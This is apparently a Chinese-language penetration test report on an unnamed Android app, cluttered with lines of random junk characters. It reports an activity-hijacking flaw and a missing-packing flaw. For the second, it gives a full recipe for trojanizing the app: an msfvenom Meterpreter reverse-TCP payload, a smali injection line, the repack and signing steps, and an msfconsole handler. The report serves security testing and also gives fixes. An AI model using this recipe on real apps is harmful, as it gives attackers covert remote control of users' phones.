) K4 p0 B! \4 C v0 j5 C$ E
) B$ F& A2 W. Q4 O& p& k
; P7 \3 N9 N/ ^9 ?% n
" B1 C' ?3 s; E. a
& M4 k5 x: H& G+ v( T- c) x$ m
5 s Z4 U4 o6 W, D
( r% R- \/ v! I0 ]2 B! t% H7 i " T/ K: C* C2 a5 e5 B) n! p7 R3 j
# }0 z/ E# s; L7 e) U
! _8 s; c7 G+ q8 |) r) m
; F& B# t. O$ F" n- }
1 d" Y3 ?& C& H/ q9 C4 q+ N
1 ]; V: Q2 Q% V0 Z h* t
+ }& y# I, V( o& U+ H' t$ k6 z
. ~ X5 c- v; ?3 e( I) q 表1-2 测试结果 - A y5 D& @# E6 |
1 }9 b& D" o B6 }. u4 k2 W4 x
$ X5 b7 y6 Y9 Y. n9 A
& A9 s5 e& L' ~% F( V$ ^1 r
4 \4 F' l, t) a/ W* @6 G" H' J% q9 n
9 V/ h7 ~8 T1 k4 O( [3 [7 d
3 T) ^( J8 I$ c( `: U
2 o; s2 b7 l \) O. D6 K- j
: k9 J/ o$ t3 l, u: k1 f, O
. y m: C7 J f4 {
& |. O0 x$ x5 c& m1 Z$ B4 ]8 S3 I8 [! P 2 检测结果 - r) a3 i) A# @1 A
8 V9 M1 u: X/ I' `5 C
$ j$ a2 Y6 M. ?( Q( k1 _* S% ^0 Q% T& Z1 H0 a8 |7 e/ x8 ?7 S
7 n7 a# X3 r, J i% I* n/ t7 @
8 ]% ]& e* ~1 H2 Y& z1 O& C0 k 2.1 某某某
3 s& \( e5 k! W- G/ g$ u5 a7 g- V$ Z4 t+ i$ W2 x# F) i% X I
( }) K2 F( H4 O s9 a- e
( P) b- \4 U* Z
( d- l/ M- i' ^ J2 Q/ e+ f
/ f/ z' g' J4 D8 g" c
2.1.1检测目标 ! w! F, g* l: i
" q# {* } V; l4 z- E- c. g
; F/ Q% Y* b* I, a' [( @
7 L! z, H M' O) v: H
7 s5 r, X5 a6 Z/ f: O9 D5 z9 l$ G s: X
目标地址: 某某某某某某APP
5 |" F7 g- l0 z1 _9 Y. |3 q7 m i, Y$ |. i* A7 F
: i+ C% V" i' B% x$ N
2 ]4 _! I: B4 L: X* }2 i1 @ ; u) n6 `. z% R& N2 F" N
j! |* G. G/ r, e 2.1.2检测结果 6 C" Z: }6 \1 A' p& m4 f$ p
# q- F, x3 z; D$ o) L2 @
. d; K( b5 p+ H. P2 D0 }
% r5 S G0 ]2 }9 ]( _+ ?+ }2 D
: v Y7 Q( d% o! N. u" i, q
- \* ?4 _3 ~7 q1 C' p$ e 2.1.2.1
7 u% W) P7 K+ S& o% Y7 D( ]; h% l, N, O" \
- b M! i/ b5 F) T+ M4 e" Q
% j1 B. j5 X; z& I/ x# W D, T# c 1 C" i) b) v5 _$ ?$ Q4 o
4 F0 z/ y/ |( h! e1 a P 漏洞链接地址:某某某某某某APP
3 Q( b- B. {% G* d" F: S
) K9 B2 o# o6 m i
0 A5 v+ |5 e4 @ K( S B8 l; V6 u* \) |2 q7 W& B0 e3 K
+ F8 f2 K# X1 ~" N1 y7 M7 x
1 A& v, a0 J& N# M3 V
' I% p2 Y3 A% y# I( d# l. J: F9 O* W1 b% P5 `
" s) X- V$ o: N2 u( X- l! O# s9 n3 F% N( W. r( r* E2 s9 x3 d
+ x/ C2 k! C; a! V# t& G
6 `1 {5 h/ m& j! y Y
漏洞分析及取证:
) H& p' ~0 m* o& `) s, S6 G9 }. Q$ V) c; c0 F1 c
' [1 i, w4 k' w3 `: F5 [% o% S* v
9 b; r5 b2 R- ]9 ]. `3 \
, n b N: q* v& W9 P! n6 d* O S
* L+ W9 L' l8 f7 V4 t. a. h+ v 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
8 R/ F2 E' h) w1 z/ h4 D6 F# Z- K$ S* N/ g
! I& {& g, O$ l. L8 T" Z! G+ H) k$ J# S. a. U
! i- J1 L; a" H! W0 g
p9 S# k% G4 c# g. }
1 m9 e: q7 a, ]$ R9 ~3 K5 t. H+ X7 B k
1 s4 o4 ?) s8 a2 j F) L; b ]9 @3 H5 _0 @6 j# Z
" c2 y, S6 z' w; d4 _) I- ]5 P5 g+ z
0 D: Y8 V; i0 `- b# J. V; J( y/ m S2 W& Y! l" y( ?6 m' y
" W" r; v4 y3 d7 ^' b/ ]3 t' Z/ ]- a9 q" o7 P9 F) `
/ Q" g! E& t6 L, q# l8 y
8 U0 p3 p {& G4 m% P# |
6 R' U9 w7 H5 H. X
" [ Q% V$ \& l' h' P
# y6 ^* ]6 o: L* p* Q
: y0 K: m4 d: A. O0 X G$ \
7 s9 v) d. t; ~; V% z9 S6 t% F5 h: V2 o$ X
4 h5 B" L: |% z+ B
) `: ?/ _; v" X% @, i) w# O- x
9 P7 `# k! T7 t8 A
8 ~ b$ A# X) A# N& Q9 I7 [% \ ! B3 ]% X" E' u' i% F1 H5 q
# Q/ ]2 `1 _. ?" X! P* q, K. }% C
7 L0 X3 V7 c/ e, A1 ~& z5 g1 P1 I* d
) B$ C; W B5 ?
# U+ s% k- I6 k) \
4 T8 N4 @& f6 Y5 b& a# V
+ X& t |% X* j1 {; c( h/ O9 h( _3 \5 t% a1 ?1 @( t! g
漏洞危害:高
. ^/ p; _" m3 r# v' j z: C' c$ X8 m% s; x: g
7 r5 y2 L! o; R% j' x! J) v( p h
; I1 u- S) y% g9 i- q( } 1 g0 J! V% U' f4 e* N
2 E( v r; \1 e* j, f: e
# J5 n3 B4 d2 D% {3 g9 k) E2 ~7 S/ _. Z$ T2 s- _) W% Z: ^, x
$ ~6 p2 q7 N3 i6 d. ]! t
. S6 v+ Y7 p u4 ? $ e+ v1 B. }" A7 W* T+ x4 I/ T
% M' l% p3 D5 A% |/ a | * `7 }8 ]$ b6 {/ c! n
- W4 i i9 S; D
& Z f0 P3 \& ?5 Q4 C
' A# Q# l2 Z8 g% A1 T; P$ B0 ] 严重程度 . A" o6 D4 G4 R4 r8 C$ Q9 z
# I0 S9 X. X, y* T! D8 J k 4 O; b' i2 p( j3 q
* P; M- B/ w$ Z( ^& P) _ |
( V9 {& Q9 w) Q$ x$ K- a/ K& b0 y% d" P5 @/ q H7 N
6 x- I: J4 q& a. R2 _9 H
3 I% C$ L& U: `1 N/ [
: B, ]: W$ R& [
4 ~% Q& Q0 J; t# n# U3 x 高
" o. d0 ?3 e, _% L1 Y G7 q) ~& N/ _( ~4 G$ Q* Y& y- P
S) B1 k% G* s8 S
2 k5 c/ c7 f( t6 f6 c |
' O0 p. R7 w$ p) M$ `5 U+ H
! \* j; A% D( L- o4 \+ L) j. \ 3 N! ~3 \' c" u( z1 P
M" N% m" B' i& E, T 8 [# V& @) {, k+ F) z
& y" i+ r' m W1 F; [: g G. t
■
9 G/ t. x9 m) C! ~+ o8 X4 e0 z9 X+ ? }* L0 q
% R! J7 ^/ m1 T/ T5 G+ |
8 J7 b R) s0 h5 r+ a+ \ B
|
2 _1 A5 E# B/ N9 g1 o, q/ T& E) r7 z* S3 R5 {* o7 w
% [2 k" m- g; ?) O3 ~0 K- l9 n
( T& U* H* d% \! m 7 m# L/ S5 ]$ z; b' L% H6 m w
& A/ G+ l4 C+ z1 X4 S 中
, l K7 ~4 ~6 {: v% Y' K, Y, V/ C) S- m6 U
8 x2 Z8 |. j1 _' z: S& v( D' d
8 G5 Y5 j" y9 r | 7 ^* }$ k5 l( Q4 n# C
4 I4 n- O V* _# m. r) ~
! h' v) J( J, U, E g4 [
6 l1 F* J9 i& _5 K+ _ " x+ ?, u w# W+ C
/ \3 B3 L& o }
# S ~: G, d! ?8 k
; `9 U2 `" Q$ L2 {
6 L3 m! k( \, I8 Y4 I0 P# W; Q0 @
7 V# p( `% x0 R( I& B3 J' r/ _ T
|
0 z9 B! ^* d& j) y: I# u' i3 I2 O+ [; r1 `8 n+ G, h1 M7 F
: e- g# a- M& r7 \' ^9 Y) w
- r: V4 A3 q7 J1 ] 8 p9 ~1 Q8 U! e6 D
* J. H+ |7 r9 b) R 低 ( ]/ n# o; t$ i9 M
6 Q+ i# l E7 z- s
) Z. j$ J0 l' |4 b- A5 f( m- v
8 H. M4 e) t* P& _ | 2 z4 E2 {! F# O" U ?
$ v, `9 ?1 K, q3 x $ [7 Y6 y# `) D0 ]3 B8 J
! L |3 f6 B5 \! l5 }
/ }: w9 d, t- I# o, k0 W1 \9 v, H; h1 e7 |' F) S+ a' m; _6 |
7 v0 y; b- }- Z. }
' r& O* I( y G7 S 7 Z: S: M, p t! }( z9 f7 `' D
$ J" Q9 C! H5 ]% F6 @ | 3 P9 E# |8 j- L% L5 ^/ u
) ]. o2 J6 s! Z2 H, }
( S7 Z- y4 j7 P9 B! o8 A7 `! n8 }
+ [# z" x; [5 L0 L+ t+ G& E1 [/ q( Z
7 c+ G) g& |3 ]& C& ?' }% P9 o6 L$ U9 j8 {, A3 @" B' V
; m0 G z/ @8 f2 I# u4 e( I* l2 X2 a3 W/ Q: }3 t
& C" f/ ^4 u" n: z! {- M4 p8 w
4 p/ r6 ]/ x1 J2 ]0 K3 U
9 x& o# m k# ~; x* b$ Q
/ x" y2 [) ~+ h0 N$ \: [. G4 f 5 C& i( @% r/ L% {( H2 A1 o
# `" E4 ~7 a; u0 Q8 S! D5 Y
. n0 {6 B0 q' R9 o& y
) j/ r8 c- ?( u+ o
( W3 X% M0 Z9 _; |) R3 n* x$ I+ v0 j) t4 S
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 # f1 M- V+ U6 [; m: L l
; S5 ]& g& `5 ?# S6 l/ {/ i7 c' @
6 h; r/ }! J5 I* \: t7 T. a7 L0 |7 r. u, b* O
* D+ E, X: v; I: P2 p3 c* d1 ]
( V+ v% k4 R0 Q! I
" K& a. T1 s7 L& ?3 q0 F$ j8 U) d5 F( _* x, |
. |( z3 B$ j' \8 b% v
8 Y4 P( X: r) n$ K& Y
3 v7 V' q2 w% k9 S' I! e
1 Z+ c6 f1 d& x, O 8 o4 ?; h0 L [1 o. M6 D& w7 c6 z
4 u6 ?0 p" B0 T2 C4 ~1 A
) l0 ?( m; ]# z% H( G- r
6 k5 n5 f, w |# l7 \
9 b3 P1 X5 z7 k, W8 p8 s" x4 ?6 Z S
2.1.2.2 : y+ p0 B, c5 ^$ _% S& ?4 j
. ^8 E ]4 H- J
2 A9 ]1 m; C; o5 a# K- [1 {$ W# m* E& M" {. Y
; ]8 @$ a) ?5 s
& \- S, v% G9 G0 M- g& T) m1 r
漏洞链接地址:某某某某某某APP
' Y# t8 B; P9 u- ?1 B# L5 v* A
# k3 B: A+ a, M/ ^6 \5 x
7 e3 P, _' R& l( v6 T' |# I% t3 i* q7 Y" B8 D, `1 r% K
- N+ I7 o/ o1 W; g" ]' B/ Y
3 l! T, Q* C- I4 g 漏洞分析及取证:
8 k1 w/ @ O9 c" ]3 D( n6 t' E: g) b. f; D9 g2 S5 T+ O0 s6 {- [7 q
5 t. P0 A& ]. u2 K9 Y: [
) A% `' H9 }% I; W" G5 V5 c$ R
5 w0 C/ N2 x7 S4 I! H" `# {+ |$ m' p* I( x8 W- u
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下:
, P( R# j$ q9 U, {0 t) P
; M" `" }5 U) m) C
! C, p. u I) p
8 w7 r# K) [$ X1 b1 ]: p( N9 Y5 |
( {- Q4 k) Z/ z& I5 y( f, N& [: l* u ?0 T; m( n) j. l# w4 W' m, \2 Y
用Metasploit 生成木马 apk
: Z% \: U: K( O* |) [" @/ Z) v
; `2 d8 U+ ^2 x+ v7 c+ j4 J
" y2 J) K! p# t: e( f9 ]" `
/ C; k# i+ c/ j
7 h) E' c( i6 c( b5 i3 C' @
5 D6 y5 s. w: Q msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk / m* @& h# C% ~! y( _" j$ p
6 H w; k$ ?+ `) q
- Q3 g5 `& M' j
* j) I* {6 p& k* S& D2 J' I% F
8 x) |0 J: z. [& ]8 E) Z0 e
/ U! ?' E; O0 l% v( o 反编译目标apk和木马apk 3 n# O7 t% k& k+ p+ B) [% ?
- v" |9 e: @, W
% M; v# ?" e0 D/ l" ~: y7 `* }
" g8 M) x7 @# k7 `% y" h; \0 s( k) d
8 |, J5 U8 w R& m
% M) g# }' u( |' L3 X/ [ apktool d target.apk
. g9 w4 g7 U! J3 ?8 Q( h5 p# \- e/ i1 L8 Y9 v- [$ b, a4 W
apktool d cockhorse.apk
" s) L1 K/ }$ }9 A2 e- }2 C6 B6 k8 C
2 l) `/ a" V+ d; ]) I- a. a# a
/ T6 a# e2 F/ g
" ]8 t5 a: I; C: c
) N- w0 ?6 h; r$ n% i; X4 h6 H) M# ] \' }4 Q |4 a
木马 apk 注入目标 apk 3 @' |+ B# k) F# w# N/ h& h. T; Y
' x# H9 l! P% \4 I
( q5 l9 ~9 C; Q* [7 z4 ^' K: R
5 z& u+ a/ R- w4 u; v. } } . W1 e( t/ Y7 n( A- _1 L
% K* Z1 d5 E- u! Y3 k2 A* n0 U) M 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
" M2 e. \" N8 s/ w. ~; F. @+ i7 j) K9 @
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
0 x) O/ g! t i5 S; q% `4 F4 v+ R7 x Y( }+ Z
( Z2 H/ v) R, e W
4 h% t: y+ Z0 y2 u! G0 y
' p6 L1 z: G$ X D0 M: W1 Z
8 g1 H* c: Z1 Z8 V' ^; p 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
! ^! Z- s2 m4 i7 ^, n! O
4 Z' _; ^! K# B( O: H* o
) E3 i5 z. O3 y$ v2 j' P2 x7 t# t# W& U
3 w, p. Z. Y$ q0 k" K9 ?, | E
' u. r1 {( T* z# e( K 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 ! P& N! g1 L5 J# ^
% P% Y* N' e$ g$ j6 }
$ h% B( b. R$ t3 I2 t5 Z4 S/ n& A+ y# F& x
9 k/ A1 g+ s+ D @ n" k
: v+ j I- {% J- |3 [
回编译生成最终 apk ' j* h0 o: J& }. b5 P
, X- n/ [ V0 B x/ i
2 E2 p1 w' O/ e3 G0 }1 |% m2 M$ g2 V0 F5 d
! t) w8 U% U* g7 X* I7 ~4 \ E6 o3 p; {* q0 b+ d$ [& q( \0 T
重新打包 6 o) Y6 I- I* v6 G$ n: Q
- q6 ~- z0 x% T
# ~) Q/ j! }, c. i" G' S; P1 ?/ l0 G2 c7 [4 ^8 k% O( c
3 o% p+ o, n) ]4 l) q7 K
y1 _4 Y2 J' ~5 C, O7 ^ n apktool b -o repackage.apk target_app_floder 8 p2 H; g4 T$ p, Z9 r
* u8 T/ B& U6 m8 U& d; Z6 z9 T; {
9 P$ E. i# n1 w, V: m+ u) |" I6 H
7 V. o4 x3 P5 g* u( P: |3 B# T
$ U, h7 S- p9 S, E2 S* c0 O& @ H: ^$ U g" ?5 ]
创建签名文件,有的话可忽略此步骤
" o9 m% x9 j; R& B: n3 v% w# B8 {' B6 [# v0 m7 i- V
0 ^5 o- F2 b1 O2 ?" ?8 J
" q: L4 j; O9 \; s( K $ q8 ?: p x2 E
3 x" V2 j1 p: \5 {& _+ `' d, l keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 1 q7 @5 I i- L7 z
9 J0 V" r) M8 }0 r& C* i# k
8 k8 C. P, b2 ?+ g; A
/ J" h7 R+ f+ T) C u! _ ; L$ q, t' i9 ^( A% h2 s6 F
0 R. I. _9 E v% V3 r* y' V" ^
签名,以下任选其一 # r) h. S- }' m' F( u$ q& O
! Y# U$ L$ t, S( K" D
% E. \/ C j" b! m3 }8 w
& d7 Q4 n. {. g# p1 l, v+ r , k/ Y- s% q: |& _- m( g
8 g, s/ L( `' t8 i+ g
jarsigner 方式 ( U# j/ r1 g1 K% S
1 J1 E! K! W+ J& |! Y i
# ] \, p0 Q" R9 y, K2 S
9 X! {# T) `, W: D
4 J7 E- t6 ?6 l7 i( r% p5 Z
' ^8 g, g3 [0 n; e7 y8 K5 o- E3 W9 W
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname ; {/ [5 {, V$ y1 j+ d) c0 U8 g
! z3 q( u: W9 B
8 ^1 a1 w% E p' n0 L3 A
7 E7 A3 n+ S, |, l
) j6 w9 @: c+ w3 r9 U1 i# l4 m1 _- W& C7 W
apksigner 方式 % W/ g, ~( X7 V( L3 U& l
4 p9 S; ?. J) t7 H {$ B. x
, P0 m: R8 X5 i+ L/ H# x8 G* V f3 c
0 _1 V0 e; B' s
- \* b" |- C" f, @ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
# e/ S+ z0 H8 p1 D' t" |' @& }3 @6 Z6 L! \+ k
) m: z% \9 V" A! X* A
2 |9 {2 d1 f8 V ]; X( j
. d/ U1 \1 Z8 \( `% Q7 K( \3 Y
) I" ?/ s) Q$ n3 C2 ~6 s+ H 如需要禁用 v2签名 添加选项--v2-signing-enabled false
, x- s. I/ a. q; K
4 G" U) h7 Z0 V5 S
2 n; M9 b5 F1 W9 f/ x4 H
* K9 y/ T. c7 a) c/ z5 s
2 f4 d1 H! R1 r1 j9 I" [) {
' m8 G5 W1 x' S; b) g, a. r4 \) | 验证,以下任选其一 + Q8 ~' x0 H U, D
* ]8 ?9 a. u: @) {% @/ @
5 q: W, X5 W/ B0 F; |. J
$ L0 C$ ^ j1 R
& T( M. {/ G( d% q0 p: \% J5 H- b% k
jarsigner方式 $ i: b- U% [* B3 ~: S5 A
\' }7 e! ?* c& C
- w( f+ o6 d. w. b* C
8 ~1 @( Q6 h* W4 G8 \* h
$ F/ d( A# M& k
4 t7 v4 p$ s! E) P' s jarsigner -verify repackaged.apk
5 t% N s5 n* f( r* g( f O/ s ^3 X- V5 ^, @
& t; Q9 n7 g# b. E. O+ U3 k3 y$ @! t& k
6 V* `2 J2 f! y) h% Y2 h7 X1 Q
' w0 l. J3 |: b! A8 ? apksigner 方式
; ^( N6 D' r* L: n, o
+ D4 O& U/ o. I8 b& W6 L
) ~7 E$ |8 }$ o1 @; G% i6 ?
7 t' l6 J" }" t/ ?: X
+ ]! p5 B+ U& o1 d7 d5 t
4 ~8 w! v1 W; ]4 e! w% n
apksigner verify -v --print-certs repackaged.apk
$ p6 ?8 u; l! ?6 I+ l0 p) y, p/ _; L( i, n; o4 P
6 R5 ]8 C5 t' P7 T. n7 J
3 i& z. ^' N3 a S9 m+ F9 I
0 |- d: B4 w3 t5 @0 Q4 L2 @" q
. L3 y& w, N7 k5 k# R$ }6 h keytool方式 1 B7 B' j0 {7 x2 t- h$ S; n1 a
/ u' I9 A% e% D; s0 ^
# E$ V8 |8 m o: x/ \
x0 x6 P' G" x" |
& T. C8 e7 x7 o3 Y$ d
0 r# u9 `3 ^" O9 x8 N( ` keytool -printcert -jarfile repackaged.apk * e+ t' I. L t5 Y
# M, V& \: a% t( K8 t/ i$ i
. |- w! L1 O0 C% A. o
& R' e' z8 W- X& o- f* }: i
_2 f0 _7 z2 ~3 r
5 h! k- F+ v& M$ u @- O9 \$ y: {
对齐 2 L( l, o5 S* J/ V
- t# `; b* W% H6 k' f
+ k6 Y. _0 u/ `$ ?- b( Q
1 i# }) S# K4 Y- N: p8 T6 M + |" R, u; |5 i$ b+ h9 G) N) r
# d; `: V5 l# ? 字节对齐优化
/ g" ~) x2 z+ x' m: h- ~! H# m6 |. `6 j* h! `# }. F& ] }% G0 {
$ ]0 n# S6 N0 K' \" f6 F0 K. d
$ ^( E+ w* E& C8 M4 \
. y( a; r9 ^2 O/ w% I, i
8 h1 s- p+ E, W# b- `/ z/ I zipalign -v 4 repackaged.apk final.apk
. J& F8 m/ h" J% ^. t" `2 t9 W' a% g1 }, R8 \" p/ K
& T9 o/ m5 R3 S' {
- l1 M9 d+ E+ d4 S7 ]" h( s+ q3 z * |5 m% I; y* J2 Z V3 h
1 l& w6 J/ m, e% X% u& N 检查是否对齐
1 @6 u# o2 _# S& a5 d: A- a+ s- \! o" Y( k7 k, w% u% R
' Z! E# R# r7 c
/ b/ i! \. C1 y7 V7 d# O3 H1 B ! t6 S# X0 F& \
2 }" s# _) s$ R/ F4 z; C0 j. r
zipalign -c -v 4 final.apk / k# \% W$ h& F% u; Y2 X
A; O9 n5 C* K4 X" n) {" P
) |; J) `/ R4 W. C
, |/ `$ `" s/ A& C
+ b: m7 a7 J b: r- [$ s2 B
5 r: }; |1 s: q ^ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 ' ^; f9 ]; v# t Y3 S
N3 J9 d) }. w+ ]& V5 W
1 P% [7 R; W d: y& z& H
" {- W1 e* {" D! Q
3 u$ | D* _. R# g% ]7 p( M S4 ~$ j6 f! H7 l% W9 F
启动Metasploit控制台,配置参数等待上线
4 E5 E+ K4 H. b# S; y8 ` Y/ q
9 ?5 h/ }7 J9 D% P
+ C" e# u( ]0 F$ J& d7 |' R0 X
2 V2 W8 I+ [2 f
0 |# Y3 K" R' Y& p# L# F$ }5 c: v6 w Q9 j$ s$ \$ m6 u- ^# {$ u
在终端依次输入如下命令
. r! T+ W1 F: Z2 d, X" f& s
W6 r6 q/ {0 O
5 C, E5 k6 b4 [4 N9 |
7 v6 U4 T9 F' ~9 O: s5 Z , E: @" ?& m' `' b6 x
, o$ D* c' B- l) \) x8 U msfconsole & V! a, }" w- I/ y' L" }
4 P) e. j- l* Z7 X, m" c
* L3 d# Z0 q5 D* j& V
p, m4 Z: ?' e4 }
* z5 k3 {* V( J- m. H
6 I/ G+ G7 _. M; r2 _, f
use exploit/multi/handler # c1 G4 u% E' m, d% y4 y
8 m3 @' a v M. z- i
7 @1 q5 Z. p2 I
2 t3 V/ R0 u2 a s8 G& N% W6 f
9 z Y3 B$ n3 Z# ^# i8 d( p
' t/ z V; r1 \; E" ~ set PAYLOAD android/meterpreter/reverse_tcp
* H: k- I' _( V# j i
z7 ?. `- B, z
6 V7 }. }% y; i9 z6 }& h% C
% L$ c% X) e9 a* m9 W
& b7 v# J1 u' [2 U' g# K" S* k" q- g1 A! X6 I7 u
set LHOST 192.xxx.xx.xx
+ Z4 U2 \# D0 x- A; l* e. F5 l1 f# m* \
( l% z" [6 X2 D5 _/ y
6 Q( A* k- @* y' ]: t2 q 8 S" m" j& |7 Z
$ m. r) V% Z- M8 G
set LPORT 4444
7 ~! ?) U. L3 u K( Q/ d8 H# v& ^6 t9 c2 f/ _: e
0 G2 o8 l: K& A
8 X5 g1 g _5 B; Y# Y% K3 z
3 [0 R, O! g( E( I. [
+ \( X# W0 B6 E2 O9 i0 g& D exploit 4 t9 }$ T! r: |5 P/ ?
4 P5 T' {& \) ^+ P9 @
8 x5 V* v; H7 Y* }, x
0 ]* U( ~! o' |+ y- r8 { R
! V, `7 i/ ^% ?# X, Z* Q0 u, F/ X. Z& h/ V. ]
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
9 I8 o) n8 O8 M4 B
* @7 @; e: ]$ t
z* T/ }4 v$ c- z m/ f
, ^% n& j' h0 l
: Y. {3 [2 B5 Y7 `+ k% w2 |+ \
" O4 b9 d( r1 }* s) H8 |$ P
漏洞危害:中 1 A4 J) f: B9 e/ M6 m* j2 r, Z% j
+ \8 C6 q" D- |( _( Z8 ]
$ {+ X+ m3 Z3 T( l
* `6 C/ ?3 ~) T6 Q. S7 |( A % X# n2 j7 S- \+ @
8 Z. {; [7 X% q D$ r
1 p1 y: }# A0 c+ g2 | x
2 d5 Y: p, C; G4 Y0 G; [3 S! W ( h( ?# W0 T; X
6 ]. l1 O. P5 a% `; _, D
# S6 T7 `* @( @ l- j' E5 A
, n2 w+ u0 \+ X" h; [ : Z P' w+ f. U# w$ @1 w
% X1 T( W+ G% C
| 3 d: E2 G, L$ D6 X1 Q0 ~) i. M
, i0 H4 ^2 J' W8 [
% W$ e1 T0 Q/ D( c% b2 E% s6 D% s
9 D. ^; Q" N% [: p
严重程度
$ y3 f% e* P8 u: Y" Z J# o, M# }" v% Q( I/ b* y( A! ?4 p
2 R2 M2 |4 y5 O# `
1 I0 v% ?1 [% S& G( ^
|
7 K% [. v3 B+ I, ?4 q3 w2 R* ?# C% |# B' @3 c
7 ~ \1 V' z2 d; g' h) ~1 N( g7 @( u2 a0 Q
' f6 z# {+ i; p4 f0 h; X1 C% L9 L2 [5 G; N! B, u' M4 Z4 C o
高 . G" }2 a& ^) S; ?0 R ^1 b7 q
0 _% f$ o* R% X! Y# X9 R . R2 A* {* b* o
% B/ u9 h& \3 B& g3 E3 X ?
| 4 T# _9 s5 V7 v
. ?3 i' M: p7 }' i# h
4 U3 Q# O9 ~7 B2 R" K0 M
! w& q! v% I' h' D& M
0 q9 \8 B7 Z; S8 J! n( [5 S* Z4 L+ W- z. R
■ + D. y; M0 x3 ^
+ o% r- s5 y9 T8 `
9 @0 H$ [- E; m# y ]
, v3 x l# d& w0 Q9 s$ ] a% G
|
# {- v2 b' I, m3 I: j3 Y* ?0 \4 _1 G
; s5 M( G: @; `/ l% r3 c4 e
( {8 \/ y; y. z. ?& q; J1 G# s) R; y& Q2 d% T$ u
) u3 V$ L* x: V: [
$ V0 w: n! M: k
中 # ~" n9 K1 }6 v7 r* ~
3 |% ~" a% m2 z* ?/ n/ v* X- K; p
8 [3 z3 f' ~6 c5 \8 c* C; Q" [% M& f: X" \
| . H; Y: j! L( _
, f' F. M* H. W- ]2 M
3 J, q) V: J6 g
( w/ G/ |9 b) y
" D6 D% A% s) `7 V1 m( N7 P, `; S3 D! ]. D5 d5 A& a$ t% c+ ]. B
3 T1 X- v! y1 C; h+ ]
5 |& g& P' N4 _* c3 j& x
0 X2 b" k1 i/ i
" T7 n9 n/ y( i8 o$ v9 j " p) Z0 r0 ^6 \* p4 M
9 e r9 ^) q d# `
| 0 ^4 @, ^1 S' o9 R& W
+ J7 Z, Y& [1 w, C
: y$ B) H( N7 c9 F. ^/ P6 }( L: m5 p/ g! P8 {
2 K8 Z: L! {0 n/ {
r/ G) c8 B) C8 F1 n; M5 L
低 4 {$ E" a0 |4 {1 {
h& z$ H/ v+ ]; z1 L. B5 q
4 g7 t' Z- v& C/ a, L: m
0 O8 R6 x4 m9 K | 2 S9 F( m* a+ n# F& ^/ Z, d
5 h2 _+ R. U3 h* m
3 I8 A6 Z. j. _7 p& z/ V. Q; k: y9 @; _; h
2 U1 Q% B% o0 h' Q+ e* V# X8 g* q* T F ]) N* V1 ]
6 M- i" Z( G2 B. }5 e
9 V3 s$ b7 w; Z; f5 y9 L3 ?
* F( W' ~( L+ _( K& |' Z2 u7 i) y* _ c2 _, W: y( B
5 o) i8 ~: |# G
1 |1 R# ^3 N$ x- s8 ] | 2 J+ W5 u% H% K* d8 w/ `
/ k. B$ k w0 r1 p o
7 g% X5 |4 l, |! ^" M, X
( B# y; h" Y# m 9 m, k6 z3 k( h8 Q( b: @6 F
" K8 J6 a$ Q2 N- T6 O" W9 ~- p' K
8 l$ l7 F, B- j/ D: L" ~- [
; @' p! U; M5 d7 S
( \7 s! m4 M" Y9 L3 j: A
( N8 g" s' T: h/ ?. i5 t8 I s: a' O1 j
1 d j& [* v. |7 ^, D& u! n( i$ ^; L
. b9 a4 E" _# e4 K5 V) g$ ^4 H3 b# m' D8 L: u
# @! u; W2 d* K, c5 W; o5 B- p: u: j5 G+ f1 h/ ^
6 g, N& B2 O% M( B+ b& O
& W# `2 V4 b$ T8 D3 {% @3 V8 n0 {
修复方法:
; d1 A7 N7 V0 t. q7 _' J7 f A ~: z
K8 V2 e- t7 W, v) Y* ^. t' F$ f* \- S% l! y
( C! z2 k; t2 Y0 V& F, Y
+ t+ T# H, r( _% K, n F
1.在 APP 启动时应做签名校验防止二次打包。
( H& O8 q+ b8 f+ ?% m
8 m7 R+ y* l( O8 K$ R 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 + n. Q5 k4 I/ X& P. a
$ K( n# I9 W$ Z
( Y6 [( x: o7 R) p3 {
, V. Y- f" x% b7 l1 ] 7 a- Y" y/ H1 y4 B* L( M
0 }, ~ J: J4 a" H( ]( E
& l9 k0 L0 ^; R$ p
9 y9 N, I% U: n' E: C4 {
7 G# O. f, G0 D2 t6 A- W4 G( X7 }, Q7 M( J8 ^' d# k, w1 y
2 \( z. S8 v: Q) O$ T
" F/ M' [5 z8 T% N% g u
* `9 q: t% g f. i
( b7 q S+ m, E0 C
% y% ]3 p% A6 G% l2 K2 D0 Y" I' m1 b8 p7 W: o/ f* d) `2 w+ q
/ Q* v4 [" R! m# f+ s' |0 X3 ^. M* k, J; c- T& @( b
, K$ R4 ]- M. x) ]: d: ^
) i( b5 q- u3 M* T" e/ R( K